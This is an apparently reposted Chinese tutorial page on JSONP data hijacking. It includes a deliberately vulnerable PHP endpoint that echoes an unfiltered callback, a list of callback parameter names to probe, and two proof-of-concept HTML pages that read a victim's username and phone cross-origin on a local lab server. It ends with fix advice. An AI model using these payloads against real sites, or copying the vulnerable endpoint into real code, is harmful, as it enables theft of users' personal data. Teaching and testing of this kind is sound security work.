位置: IT常识 - 正文

JSONP数据劫持漏洞(json解析漏洞)

编辑:rootadmin
JSONP数据劫持漏洞 ​介绍

推荐整理分享JSONP数据劫持漏洞(json解析漏洞),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:json劫持漏洞验证方法,json数据解析错误是什么意思,json数据解析错误是什么意思,jsonp漏洞利用,json loads dumps,jsonp漏洞利用,json劫持漏洞验证方法,json劫持怎么防止,内容如对您有帮助,希望把文章链接给更多的朋友!

JSONP(JSON with Padding)是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据;它利用的是script标签的 src 属性不受同源策略影响的特性,使网页可以得到从其他来源动态产生的 json 数据,因此可以用来实现跨域读取数据。

更通俗的说法:JSONP 就是利用 <script> 标签的跨域能力实现跨域数据的访问,请求动态生成的 JavaScript 脚本同时带一个 callback 函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用 callback 函数。

漏洞原理

和 CSRF 类似,都需要用户交互,而 CSRF 主要是以用户的账户进行增删改的操作,jsonp 则主要用来劫持数据。

当网站通过 JSONP 方式传递用户敏感信息时,攻击者可以伪造 JSONP 调用页面,诱导被攻击者访问来达到窃取用户信息的目的;jsonp 数据劫持就是攻击者获取了本应该传给网站其他接口的数据。

漏洞代码

假设这是目标网站上的代码,然后我们利用漏洞就可以劫持到里面的数据,如username、phone

<?php//test.phpheader('Content-type: application/json');$callback = $_GET['callback'];print $callback.'({"username" : "d4m1ts","phone" : "13888888888"});';?>

快速启动 php 环境

php -S 127.0.0.1:9999 实现效果

利用场景

如上图,所有包含有callback等回调函数的,且请求方式为 GET,没有验证 referer 等,都可以尝试下该漏洞

如果返回内容是 json 格式的,但是没有回调函数,我们可以尝试手动添加回调函数去试试运气,一些常见的如下:

_callback=mstkey_cb=mstkeycallback=mstkeycb=mstkeyjsonp=mstkeyjsonpcallback=mstkeyjsonpcb=mstkeyjsonp_cb=mstkeyjson=mstkeyjsoncallback=mstkeyjcb=mstkeycall=mstkeycallBack=mstkeyjsonpCallback=mstkeyjsonpCb=mstkeyjsonp_Cb=mstkeyjsonCallback=mstkeyca=mstkey漏洞利用

当我们发现信息泄露的 jsonp 接口以后,我们需要构造一个恶意 html 页面,然后引诱受害者去访问这个网站,一旦访问了这个网站,脚本就会自动运行,就会向这个接口请求用户的敏感数据,并传送到攻击者的服务器上。

POC基于实现回调函数<script>function xxx(data){ alert(data.username);}</script><script src="http://127.0.0.1:9999/test.php?callback=xxx"></script>JSONP数据劫持漏洞(json解析漏洞)

保存为 html,诱导受害者访问,可见成功获取到了username信息

image-20220322171224615

简而言之:存在信息泄漏的 JSONP 接口http://127.0.0.1:9999/test.php?callback=xxx,攻击者构造 POC 后诱导用户访问 POC,然后就会调用这个接口获取到敏感数据,获取到的敏感数据被攻击者截获了。

另一个 POC基于 jquery<script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script><script type="text/javascript"> $.getJSON("http://127.0.0.1:9999/test.php?callback=?", function(data){ alert(data.phone); });</script>

image-20220322173916125

修复建议

扩展

修复建议

接受请求时检查referer来源;

在请求中添加token并在后端进行验证;

严格过滤 callback 函数名及 JSON 里数据的输出。

扩展

如果目标的 header 头没有设置Content-Type为json,而是html,那么也可以造成 XSS 漏洞

一个获取 QQ 号的 JSONP 劫持实例[1]

image-20220322185037473

推荐阅读:JSONP 挖掘与高级利用[2]

参考资料

[1]一个获取 QQ 号的 JSONP 劫持实例: http://www.piaoyi.org/network/get-qq-haoma-js.html

[2]JSONP 挖掘与高级利用: http://drops.xmd5.com/static/drops/papers-6630.html

本文链接地址:https://www.jiuchutong.com/zhishi/299576.html 转载请保留说明!

上一篇:单目测距原理与实现(代码可运行)(单目测距精度)

下一篇:强化学习——Q-Learning算法原理

  • 数据条怎么设置百分比进度条(渐变填充红色数据条怎么设置)

    数据条怎么设置百分比进度条(渐变填充红色数据条怎么设置)

  • iphone13promax刷新率哪里设置(iphone13promax调刷新)

    iphone13promax刷新率哪里设置(iphone13promax调刷新)

  • 华为nova4e是麒麟多少处理器(华为nova4是麒麟970处理器吗)

    华为nova4e是麒麟多少处理器(华为nova4是麒麟970处理器吗)

  • 抖音视频没声音了怎么回事(蓝牙抖音视频没声音)

    抖音视频没声音了怎么回事(蓝牙抖音视频没声音)

  • WPS双线型边框线怎么设置(word双线型边框线)

    WPS双线型边框线怎么设置(word双线型边框线)

  • 华为三包包括什么内容(华为三包是指哪三包)

    华为三包包括什么内容(华为三包是指哪三包)

  • 手机相册图片怎么剪切不要的部分(手机相册图片怎么拼图)

    手机相册图片怎么剪切不要的部分(手机相册图片怎么拼图)

  • 快手小店添加商品审核不通过(快手小店添加商品标题怎么写)

    快手小店添加商品审核不通过(快手小店添加商品标题怎么写)

  • 删除应用和设置保留个人文件是什么意思(删除应用和设置但保留个人文件是删除c盘的吗)

    删除应用和设置保留个人文件是什么意思(删除应用和设置但保留个人文件是删除c盘的吗)

  • 钉钉可以撤销打卡吗(钉钉可以撤销打卡记录吗)

    钉钉可以撤销打卡吗(钉钉可以撤销打卡记录吗)

  • ipad2018安卓耳机插不进去(ipad2020安卓耳机)

    ipad2018安卓耳机插不进去(ipad2020安卓耳机)

  • 怎么开通腾讯视频vip会员

    怎么开通腾讯视频vip会员

  • 淘宝未发货怎么退款申请(淘宝未发货怎么修改收货地址)

    淘宝未发货怎么退款申请(淘宝未发货怎么修改收货地址)

  • 最近手机网络不好怎么回事(手机网络不行怎么回事)

    最近手机网络不好怎么回事(手机网络不行怎么回事)

  • excel图表工具在哪里(excel中图表工具有什么选项卡)

    excel图表工具在哪里(excel中图表工具有什么选项卡)

  • 手机清空的照片怎么找回来(手机清空的照片去哪了)

    手机清空的照片怎么找回来(手机清空的照片去哪了)

  • 苹果11是高通还是英特尔

    苹果11是高通还是英特尔

  • xsmax为什么不支持快充(iphone xs max不支持5g还值得买吗)

    xsmax为什么不支持快充(iphone xs max不支持5g还值得买吗)

  • 收到虎牙科技验证码是怎么回事(虎牙科技是干什么的收费吗)

    收到虎牙科技验证码是怎么回事(虎牙科技是干什么的收费吗)

  • 华为col-tl10是什么型号(华为col_tl10)

    华为col-tl10是什么型号(华为col_tl10)

  • 苹果手机量身高的功能在哪里(苹果手机量身高的软件下载)

    苹果手机量身高的功能在哪里(苹果手机量身高的软件下载)

  • 荣耀v20怎么激活(荣耀v20怎么激活使用)

    荣耀v20怎么激活(荣耀v20怎么激活使用)

  • 笔记本键盘的功能(笔记本键盘的功能键怎么用)

    笔记本键盘的功能(笔记本键盘的功能键怎么用)

  • 连夜看了30多篇改进YOLO的中文核心期刊 我似乎发现了一个能发论文的规律(一天看小说十几个小时的人)

    连夜看了30多篇改进YOLO的中文核心期刊 我似乎发现了一个能发论文的规律(一天看小说十几个小时的人)

  • 〖大前端 - 基础入门三大核心之CSS篇㉓〗- 过渡的缓动效果(大前端技术)

    〖大前端 - 基础入门三大核心之CSS篇㉓〗- 过渡的缓动效果(大前端技术)

  • 帝国cms评论怎么做(帝国cms使用手册)

    帝国cms评论怎么做(帝国cms使用手册)

  • 进口货物增值税纳税人是谁
  • 预缴税款如何做会计分录
  • 劳务费税率计算公式
  • 应交税费和税金及附加的关系
  • 工业企业取得土地收益
  • 现在开票还能用三方协议吗
  • 如何开银行卡账户
  • 土地入固定资产还是无形资产
  • 以前年度损益调整影响本年利润
  • 青年企业家协会入会要求
  • 收到税收返还会计分录
  • 进账多于销项怎样报税
  • 固定资产适用范围
  • 财务报表与汇算报表区别
  • 运输费用 成本
  • 计提费用的时候可以计提税金吗
  • 利润借方余额表示盈利还是亏损
  • 减税降费各项政策
  • 帮对方公司垫付违法吗
  • 核定征收取消了
  • 公司变更监事需要换营业执照吗?
  • 高新企业的研究方向
  • 销售折扣与折让影响应收账款周转率吗
  • 三代税款手续费是什么意思
  • 餐饮业现金流
  • 外贸收汇怎么处理
  • windows11正式版好用吗
  • 出售短期债券投资发生的净损失计入哪里
  • 其他业务收入与营业外收入
  • 金融业贷款损失多少
  • 工业企业库存商品的初始入账成本有
  • 微信 php sdk
  • 蓝桥杯第十四届模拟赛第三期
  • vue3 安装
  • 什么发票才能做账务处理
  • 员工出国公司要承担的责任
  • 一般纳税人企业所得税如何计算
  • Vite + Vue2 + Vuetify2 + <script setup> + TypeScript 搭配开发项目
  • 独资设立的有限公司
  • vue$router
  • mongodb聚合统计数量
  • 企业所得税汇算清缴表
  • 新政府会计制度下,属于资产类科目的是
  • 费用减少利润减少的情况
  • 小规模都是做季报吗
  • 运输途中发生的合理损失
  • 让渡资产使用权包括
  • 甲方向乙方支付
  • 会计和外贸哪个工作强度大
  • 工程安装人工费怎么开票
  • 在施工期间,承包商可能遇到不能预见
  • 小规模纳税人公转私技巧
  • 小型润滑油生产设备要哪些
  • 外购入库暂估补差单
  • sql语句的优化方式
  • mysql删除数据库用户
  • tcpsyncookies
  • bios单词
  • surface rt升级win10详细教程
  • win10笔记本连接不了wifi
  • mac如何强制退出微信
  • centos文件备份
  • linux网络设置在哪里
  • 升级安装windows并保留文件
  • windows10不能装windows7
  • python tcp socket
  • cocos2dx-3.0(23) ScrollView 缩放 及 touch新用法
  • Unity3D游戏开发标准教程
  • 你有一份来信
  • jQuery中trigger()与bind()用法分析
  • node写自动化脚本
  • Unity3d HDR和Bloom效果(高动态范围图像和泛光)
  • Python实现Sqlite将字段当做索引进行查询的方法
  • 地方税务局怎么报税
  • 税务稽查证据问题
  • 怎么在国税网站取消已申报的财务报表
  • 痛点 堵点 难点 盲点
  • 天津个人所得税电话咨询电话
  • 三证一码是什么
  • 企业分立需要开发票吗?
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设